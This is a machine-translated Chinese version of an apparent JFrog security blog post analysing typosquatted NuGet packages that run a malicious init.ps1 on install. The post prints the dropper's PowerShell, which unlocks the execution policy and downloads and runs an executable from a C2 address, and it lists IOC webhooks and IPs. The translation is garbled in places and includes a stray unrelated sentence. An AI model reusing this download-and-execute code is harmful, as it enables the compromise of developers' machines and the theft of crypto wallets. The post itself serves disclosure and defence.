攻击者开始用恶意代码NuGet包瞄准。net开发人员

恶意包

更新2023-03-21-我们已经与NuGet团队成员进行了交谈,他们已经检测并删除了有问题的恶意软件包。

恶意包通常由开源NPM和PyPI包存储库传播,很少有其他存储库受到影响。具体来说,没有公开证据表明存在严重的恶意活动NuGet库除了垃圾邮件包用于传播网络钓鱼链接。与其他存储库一样,JFrog安全研究团队定期监视NuGet存储库中的恶意包,包括对可疑代码的手动分析。

考虑到这一点,安全研究团队最近通过NuGet存储库发现了一种针对。net开发人员的复杂且高度恶意的攻击,该攻击使用了复杂的typposquatting技术。发现的包裹下载150 k(在它们从NuGet存储库中删除之前)——包含“下载&执行”类型的有效负载。这些包包含一个PowerShell脚本,可以安装后执行并触发“第二阶段”有效载荷的下载,这可以远程执行。第二阶段的有效载荷是一个定制的,更复杂的可执行文件,将在这篇文章中简要解释,并将进行彻底的分析在我们的下一篇博文中

NuGet仍然容易受到恶意包攻击

尽管发现的恶意软件包已经从NuGet中删除,但。net开发人员仍然面临恶意代码的高风险,因为NuGet软件包仍然包含工具立即运行代码在包安装时。

旧的Visual Studio版本开发人员可以放置PowerShell脚本工具目录下的NuGet包,脚本会自动运行,不受特定事件的约束——包安装、卸载、VS启动等。

目前,微软似乎正在推动开发者放弃这个选项install.ps1uninstall.ps1安装时运行的脚本将被忽略。在当前文档,这些脚本没有被提及,除了在一些一边笔记

然而,尽管它已被弃用- - -init.ps1在安装NuGet包时,init脚本将在没有任何警告的情况下运行(重要的是要注意,在使用NuGet命令行时,init脚本不会自动执行)。此外,每次使用包管理器控制台窗口打开项目的解决方案时,脚本将重新运行:

使用工具/init创建解决方案。Ps1文件内部使用工具/init创建解决方案。Ps1文件内部

.ps1文件中,攻击者可以编写任意命令。例如:

& {[System.Reflection.Assembly]:: LoadWithPartialName(“System.Windows.Forms”);[System.Windows.Forms。MessageBox]::Show('Hello From init','WARNING')}

TestInstallScript。自由

在安装了包之后(没有显式地执行任何操作),我们可以看到“恶意”命令立即运行了PowerShell脚本成功执行,没有确认或警告

而且,即使init.ps1脚本不被引用.nuspec元数据文件,它仍然会被执行!

.nuspec元数据文件(没有提到init.ps1).nuspec元数据文件(没有提到init.ps1)

这些类型的自动运行机制是我们可以发现成千上万的恶意包困扰NPM和PyPI生态系统的一个重要原因,例如,与Go包生态系统相比,其中客户端不会使代码在安装模块时自动运行。如果只需要安装包就可以触发攻击者的代码,那么攻击者的代码更有可能运行。

发现了哪些恶意软件包?

我们确定以下NuGet包包含相同的恶意有效负载-

包名 老板 下载数 发布日期 模仿包
Coinbase。核心 BinanceOfficial 121.9 k 2023-02-22 Coinbase
Anarchy.Wrapper.Net OfficialDevelopmentTeam 30.4 k 2023-02-21 Anarchy-Wrapper
DiscordRichPresence。API OfficialDevelopmentTeam 14.1 k 2023-02-21 DiscordRichPresence
Avalon-Net-Core joeIverhagen 1.2 k 2023-01-03 AvalonEdit
Manage.Carasel.Net OfficialDevelopmentTeam 559 2023-02-21 N/A
Asip.Net.Core BinanceOfficial 246 2023-02-22 微软。AspNetCore
Sys.Forms.26 joeIverhagen 205 2023-01-03 System.Windows.Forms
Azetap。API DevNuget 153 2023-02-27 N/A
AvalonNetCore RahulMohammad 67 2023-01-04 AvalonEdit
Json.Manager.Core BestDeveIopers 46 2023-03-12 通用的。net名称
Managed.Windows.Core MahamadRohu 37 2023-01-05 通用的。net名称
Nexzor.Graphical.Designer.Core 黑斑羚 36 2023-03-12 N/A
Azeta。API Soubata 28 2023-02-24 N/A

前三个软件包的下载次数令人难以置信——这可能表明攻击非常成功,感染了大量机器。然而,这不是一个完全可靠的指标攻击的成功,因为攻击者可以自动膨胀下载计数(与机器人),使软件包看起来更合法。

恶意活动指标

上述包中的主要恶意指示器是init.ps1脚本将在安装时立即执行下载。exe二进制文件执行它在受害人的工作台上

New-ItemProperty -Path 'HKCU:Software\Microsoft\PowerShell\1\ShellIds\Microsoft。PowerShell' -Name 'ExecutionPolicy' -Value "Unrestricted" -PropertyType String -Force Clear-Host $ProcName = "Impala.exe" $WebFile = "http://62[.]182[.]84[.][1/4563636/$ProcName" (New-Object System.Net.WebClient).DownloadFile($WebFile,"$env:APPDATA\$ProcName") Start-Process ("$env:APPDATA\$ProcName")

这种行为在恶意包之外是极其罕见的,特别是考虑到“无限制”执行策略,这应该立即触发一个危险信号。

为了诱骗用户下载软件包,使用了以下方法:

    1. 受害-为与合法软件包极其相似的软件包分配名称的方法。例如“Coinbase”。核心” which tries to mimic the popular, legitimate package “Coinbase”。
      恶意包Coinbase。核心的页面
      Coinbase。核心’s page (malicious package)

      合法包Coinbase的页面
      Coinbase的页面(合法包)


    2. 包所有者名称使用试图使软件包看起来更合法的术语(BinanceOfficial, NuGetDev, OfficialDevelopmentTeam)。
      包所有者名称


    3. 属性中的“Author”属性没有验证过程.nuspec元数据文件,一些软件包有误导性的元数据,如“微软”作为作者,并进行模糊的描述。
      与官方软件包相比,“作者”字段是无法区分的与官方软件包相比,“作者”字段是无法区分的

      Azetap。APIpackage’s author defined as Microsoft with a false description
      Azetap。APIpackage’s author defined as Microsoft with a false description


    4. 有些包不包含任何直接的恶意负载。相反,他们将其他恶意包定义为依赖项,其中包含恶意脚本。
      DiscordRichPresence。APIpackage uses a malicious dependency
      DiscordRichPresence。APIpackage uses a malicious dependency. The malicious.ps1有效载荷在“manage . carsel”中。网”包。


    5. 有些包裹是作者乍一看是合法的,例如作者的名字“joelverhagen”,其中似乎是一个微软开发NuGet软件的开发者的账号名
      Avalon-Net-Core
      JoeI Verhagen
      然而,经过仔细检查,攻击者似乎使用了作者的名字joeIverhagen(大写“i”而不是小写“l”)来伪装成合法帐户joelverhagen

异常复杂的恶意负载

滴管的脚本

所有观察到的恶意包都具有相同的有效负载脚本(直接或作为依赖项)。首先,负载脚本将改变PowerShell的运行配置,以便允许当前用户不受限制地执行PowerShell脚本,使用以下命令:

New-ItemProperty -Path 'HKCU:Software\Microsoft\PowerShell\1\ShellIds\Microsoft。-Name 'ExecutionPolicy' -Value "Unrestricted" -PropertyType String -Force

然后脚本使用。net的WebClient类从远程服务器下载一个Windows可执行文件:

$ProcName = "Avalon.exe" $wc = [System.Net.WebClient]::new() $wc. downloadfile ("http://62[.]182[.]84[.]$wc.Dispose() /$ProcName", "$env:APPDATA\$ProcName") $wc.Dispose()

最后,负载脚本执行下载的二进制文件(我们将其称为“第二阶段负载”),从屏幕上清除脚本的输出:

Clear-Host Start-Process ("$env:APPDATA\$ProcName")

同样值得注意的是下载并执行使用的有效载荷HTTP(non-TLS)的URL。这尤其危险,因为缺乏对原始C2域的控制的本地网络攻击者可能会使用中间人攻击拦截下载请求。这样做将允许他们任意更改有效负载以满足他们的需要,并获得对安装了恶意NuGet包的机器的完全控制。
中间人攻击

我们发布了一份对恶意盗斑羚有效载荷的完整分析在这里

第二级有效载荷

JFrog安全研究团队发现的绝大多数恶意包有效负载都是基于开源黑客工具的,因为攻击者通常是在最短的时间内寻求最大的投资回报率,而不需要复杂的代码。然而,在这种情况下,我们观察到a完全自定义可执行负载,用低级语言编写,表明攻击者更专注。

下面的信息是基于我们观察到的第二阶段有效载荷之一,然而,由于第二阶段有效载荷是从C2服务器动态下载的,攻击者能够随时切换第二阶段的功能。

由于剩余的程序数据库字符串(PDB),我们可以看到此有效负载的内部名称为黑斑羚- - - - - -

黑斑羚载荷

对有效载荷的部分分析显示,它具有以下能力:

  1. 加密偷窃者—有效载荷同时引用Exodus闪电钱包应用程序并嵌入了Discord Webhooks,这可能表明有效负载试图通过Discord webhooks窃取加密钱包
  2. 电子档案提取器-有效载荷可以提取和执行代码电子的嵌入式编译(Rustlang)副本Rasar
  3. 带上了自动更新-有效载荷下降一个小的更新可执行文件到C:\Users\user\AppData\Local\松鼠- 2021 \ Updater.exe它会检查原始的C2 URL是否有更新版本的恶意软件。

我们打算在下一篇博客文章中发布对这种恶意负载的完整分析,敬请期待!

国际石油公司

https[:] / /不和[。] com/api/webhooks/1076330498026115102/MLkgrUiivlgAoFWyvkSpLsBE3DMaDZd9cxPK3k9XQPyh6dw55jktV6qfDgxbs5AaY7Py 62[182年][]84[。233) 61 194(。)[]93[。58] 195[][] 39(。] 167 https [:] [,] bingner[/ /粘贴。] com/paste/xden6/raw松鼠- 2021 \ Updater。exe

如何防范恶意NuGet包

首先,开发人员应该注意导入和安装的包中的拼写错误。可以看到,其中一些包试图模仿合法的知名包的名称,希望开发人员会意外地将它们安装在他们的项目中,或者将它们作为依赖项提及。

避免安装恶意软件包的另一种方法是手动验证它们不包含任何可疑的安装或初始化脚本。我们建议在安装之前通过NuGet Package Explorer检查软件包,该工具可以在软件包页面的右侧窗格菜单中找到。

Z实体框架经典

你应该检查一下里面的内容init.ps1install.ps1uninstall.ps1下的脚本工具目录,如:

工具下的脚本

注意那些从外部资源下载和执行资源的脚本。2022世界杯阿根廷预选赛赛程您也可以通过下载软件包并在本地检查文件来执行此检查

下载包

在本地下载包时,请确保在彻底验证之前不会意外执行脚本或二进制文件。

此外,还有一些其他有用的指标来衡量软件包的合法性,比如高下载量在很长的时间跨度内有很多版本。

Newtonsoft。Json包有超过30亿的下载和许多版本Newtonsoft。Json包有超过30亿的下载和许多版本

下载次数较低的相对较新的包可能表明应该怀疑该包,尽管注意这些指标很重要可以被欺骗更老练的攻击者。

改进了JFrog x射线的检测和修复

作为对这一事件的回应,我们已经将恶意NuGet包添加到JFrog Xray中,这将允许客户立即检测到它们。JFrog Xray的定期管理软件包数据库目前包含所有相关生态系统中超过150K的恶意软件包,并根据JFrog安全研究团队的发现不断发展。

结论

这项研究的结果证明,没有一个开源软件存储库是永远安全的。尽管在NuGet存储库中没有观察到以前的恶意代码攻击,但我们能够找到至少一个最近的攻击活动的证据,这些攻击活动使用了诸如typposquatting等方法来传播恶意代码。与其他存储库一样,应该在软件开发生命周期的每个步骤中采取安全措施,以确保软件供应链保持安全。

请参阅本系列的第二篇博文深入分析此攻击活动中发现的恶意有效载荷!

与JFrog安全研究保持同步

除了暴露新的安全漏洞和威胁之外,JFrog还通过自动安全扫描为开发人员和安全团队提供了访问其软件最新相关信息的便捷途径JFrog x光包括增强的CVE元数据和修复建议。

关注我们的产品更新,包括自动漏洞和恶意代码检测,以抵御最新出现的威胁-在我们的研究网站安全研究博客文章在推特上@JFrogSecurity